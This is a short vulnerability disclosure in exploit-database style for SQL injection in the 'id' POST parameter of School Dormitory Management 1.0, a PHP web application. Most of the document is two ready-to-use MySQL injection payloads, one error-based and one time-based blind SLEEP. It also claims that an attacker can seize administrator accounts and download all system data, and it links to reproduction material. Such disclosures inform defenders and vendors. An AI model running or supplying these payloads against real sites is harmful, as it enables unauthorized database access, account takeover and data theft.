`## Title: School Dormitory Management 1.0 SQLi
## Author: nu11secur1ty
## Date: 05.09.2022
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management
## Description:
The id parameter appears to be vulnerable to SQL injection attacks.
A single quote was submitted in the id parameter, and a database error
message was returned.
Two single quotes were then submitted and the error message disappeared.
The attacker can take administrator accounts control and also of all
accounts on this system, also the malicious user can download all
information about this system.
Status: CRITICAL
[+] Payloads:
```mysql
---
Parameter: id (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or
GROUP BY clause (FLOOR)
Payload: id=2' AND (SELECT 7198 FROM(SELECT
COUNT(*),CONCAT(0x716b7a6a71,(SELECT
(ELT(7198=7198,1))),0x7170717171,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)# JPhD
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=2' AND (SELECT 6966 FROM (SELECT(SLEEP(5)))amnS)# UIgv
---
```
## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Dormitory-Management)
## Proof and Exploit:
[href](https://streamable.com/hd6xo1)
`